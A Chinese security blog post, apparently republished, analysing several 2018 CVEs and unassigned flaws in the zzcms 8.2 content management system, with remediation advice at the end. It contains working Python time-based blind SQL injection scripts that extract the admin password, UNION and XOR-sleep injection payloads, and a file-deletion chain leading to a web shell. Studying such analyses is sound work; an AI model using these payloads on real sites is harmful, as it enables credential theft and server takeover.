内容简介:看了一下最近的cve列表,发现有大佬怒刷了好多个cve,这个zzcms都快被审穿了,所以跟进学习一下本文跟踪的这个cms,属于一个开源招商网站管理系统,属于比较小的cms,所以很多地方写的不是很完善,导致了漏洞的产生,项目官网为
看了一下最近的cve列表,发现有大佬怒刷了好多个cve,这个zzcms都快被审穿了,所以跟进学习一下
CMS背景
本文跟踪的这个cms,属于一个开源招商网站管理系统,属于比较小的cms,所以很多地方写的不是很完善,导致了漏洞的产生,项目官网为 http://www.zzcms.net/ ,本次我跟进的版本为8.2。
CVE-2018-8966
首先,这是一个在安装的时候的代码注入,如果不配合其他漏洞删除安装后产生的锁文件 install.lock
,这个漏洞在实际环境中将毫无作用。
下面我们来具体分析一下漏洞产生的原因:
系统在安装的过程中,对输入的变量并没有任何过滤就写入了文件,所以我们只要闭合有关代码,然后注入命令就可以拿到shell。
下面开始复现:
复现成功,同理,这里既然能插入 php 代码,那也可以插入一端javascript代码,造成存储型xss,具体流程不在分析。
CVE-2018-8967
这是一个前台的 sql 注入,可以获取管理员密码的账号密码,问题出在了 /user/adv2.php
下面我们分析一下代码:
这里整个cms还是对传入的cms进行了过滤的,过滤代码在/inc/stopsqlin.php,但是在这个地方,是没有对sql变量用引号包裹,所以不用单引号也可以直接进行sql注入。
但是这个地方想要注入,前面需要满足一定的条件,见下图
至少要让这两个数据出来的值有一个是1,否则将不会进入注入的代码。
这里的坑点比较多,简单讲下吧,有一个知识点:
select * from zzcms_ad where id =1 or sleep(4); 按照常理这个会延时,但是如果表中是空的,那这个将不会有任何延时
所以我们在注入的时候,要保证表中有数据,才能正常延时盲注的
所以这里要利用这个盲注,需要满足的条件有:
- 注册为企业用户,并且通过审核
- 发布广告,报账zzcms_main中,有一条记录
- 整个网站的广告表zzcms_add中需要至少有一条数据
当上面的条件都满足的时候,就可以进行注入了,下面贴一下paylaod:
import requests import string s = requests.session() url = "http://127.0.0.1:8000/user/adv2.php?action=modify" cookies = { 'UserName':'test1',#换成你注册的企业用户的用户名 } flag = '' for i in range(1,40): for j in range(33,125): data = { 'id':'0 or if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(3),0)'.format(i,j)} try: r = s.post(url,data=data,cookies=cookies,timeout=1) except: flag += chr(j) print flag break print flag
实际测试截图:
CVE-2018-8965
这是一个任意文件删除漏洞,危害还是很大的,配合上面的安装过程中的getshell,还是可以有很大的攻击面
出问题的代码在:/user/ppsave.php
可以发现并没有什么验证,只是判断了一下是不是和之前的或者默认的一样,然后只要文件存在,就使用了 unlink
删除了文件.
所以这个漏洞分析和利用都很简单
我们删除了安装的锁文件/install/install.lock
然后就可以重新安装zzcms,从而配合上文分析的漏洞获取shell。
CVE-2018-9309
又是一枚sql注入漏洞,不过这个也是一个需要登陆,需要设置相关信息才能利用的漏洞。属于设计不当。
首先我们看一下出问题的核心代码:
if (!empty($_POST["sql"])){//从模板中获取SQL内容,为发送对像 $_SESSION['sql']=stripfxg($_POST["sql"]); } $sql=$_SESSION['sql']; $sql2=$sql." order by id asc limit $n,$size"; $rs=query($sql2); $row=num_rows($rs);
可以发现这里将post参数中的sql进行了解码放进了session中,而 stripfxg
函数代码如下:
function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜杠 $string=stripslashes($string);//去反斜杠,不开get_magic_quotes_gpc 的情况下,在stopsqlin中都加上了,这里要去了 if ($htmlspecialchars_decode==true){ $string=htmlspecialchars_decode($string);//转html实体符号 } if ($nl2br==true){ $string=nl2br($string); } return $string; }
可以发现并不是什么过滤,所以这里直接拼接进入sql中是及其危险的,后面还有一些没有申请cve的漏洞也是因为调用了这个函数,导致了过滤失效。
代码利用也是比较简单的:
127.0.0.1/dl/dl_sendmail.php post数据为: sql=select email from zzcms_dl where id=-1 union select group_concat(table_name) from information_schema.columns where table_schema=database()#
下面是执行结果:
CVE-2018-9331
有一枚任意文件删除漏洞,不得不说这个系统在这个的判断上真的是很有问题
这次产生问题的文件在/user/adv.php
也是一个 oldimg
和 img
对比产生的问题
和上面分析类似,都是只判断了是否和原来的相同,然后拼接了 ../
就直接调用 unlink
,所以利用也很简单
只需要将html中表单属性的hidden删掉,然后直接输入想要删除的文件名就可以啦
没有申请cve的漏洞
有几个sql注入比较严重,下面逐个分析一下
No.1 getip()未过滤
出问题的代码在 /user/check.php
中
在检查用户登录的位置,发现会调用 getip()
这个函数,我们跟进看一下:
发现并没有过滤,可以直接注入xff头,来进行注入,注入脚本如下:
import requests import string s = requests.session() url = "http://219.219.61.234:8000/user/adv.php"//只要include了check.php都可以 cookies = { 'UserName':'test1', 'PassWord':'21232f297a57a5a743894a0e4a801fc3' } flag = '' for i in range(1,40): print i for j in range(33,125): head = { 'X-Forwarded-For':"1' where username = 'test1' and if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(10),0)#".format(i,j)} try: r = s.post(url,headers=head,cookies=cookies,timeout=9) except: flag += chr(j) print flag break print flag
测试截图为:
No.2 del.php未过滤
/user/del.php
不过这个注入有一个前提,我们需要先发布一个咨询信息,然后管理员审核过以后,就可以利用来注入了,这个在实际场景中,还是可以实现的。
可以看到,直接将tablename拼接进入了sql语句中,所以利用起来难度也不是很大,但是这里并没有回显,所以需要使用时间盲注,或者dns log外带的方法来获取数据。
No.3 stripfxg过滤不完整
在整个系统中,还有个函数是非常危险的,他可以将全局过滤还原成正常的数据,如果这个数据带入了sql查询中,是可以直接造成注入的。
代码逻辑:
所以这里的利用也是比较简单的:
POST /user/msg.php?action=savedata&saveas=add 参数为: info_content=123' ^ sleep(5))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A
这里有一个注入的小技巧,就是在做insert注入和update注入的时候,除了能够多伪造一组数据以外,还可以使用这种异或符号加上sleep函数来延时注入
insert into user (content)VALUES('1' ^ if(1=1,sleep(5),0)#
验证截图:
总结
系统存在的问题:
- 系统在实现逻辑的过程中,存在了太多了没有过滤直接带入逻辑的情况,这在很多大的框架中是不存在的,建议可以自己封装一层,在封装层中间实现好过滤,用起来也很方便
- 系统对用户文件的存储删除有很大问题,很多在删除用户文件的时候,并没有检查是不是合法,就直接unlink了,这可以导致很大的问题。
- 系统在很多地方很轻易的就将自己的过滤去掉了,核心就是那个stripfxg函数,建议减少这个函数的使用,保证所有变量都经过了过滤。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用动态分析技术分析 Java
- 使用动态分析技术分析 Java
- 案例分析:如何进行需求分析?
- 深度分析ConcurrentHashMap原理分析
- 如何分析“数据分析师”的岗位?
- EOS源码分析(3)案例分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
实战Java高并发程序设计
葛一鸣、郭超 / 电子工业出版社 / 2015-10-1 / CNY 69.00
在过去单核CPU时代,单任务在一个时间点只能执行单一程序,随着多核CPU的发展,并行程序开发就显得尤为重要。 《实战Java高并发程序设计》主要介绍基于Java的并行程序设计基础、思路、方法和实战。第一,立足于并发程序基础,详细介绍Java中进行并行程序设计的基本方法。第二,进一步详细介绍JDK中对并行程序的强大支持,帮助读者快速、稳健地进行并行程序开发。第三,详细讨论有关“锁”的优化和提高......一起来看看 《实战Java高并发程序设计》 这本书的介绍吧!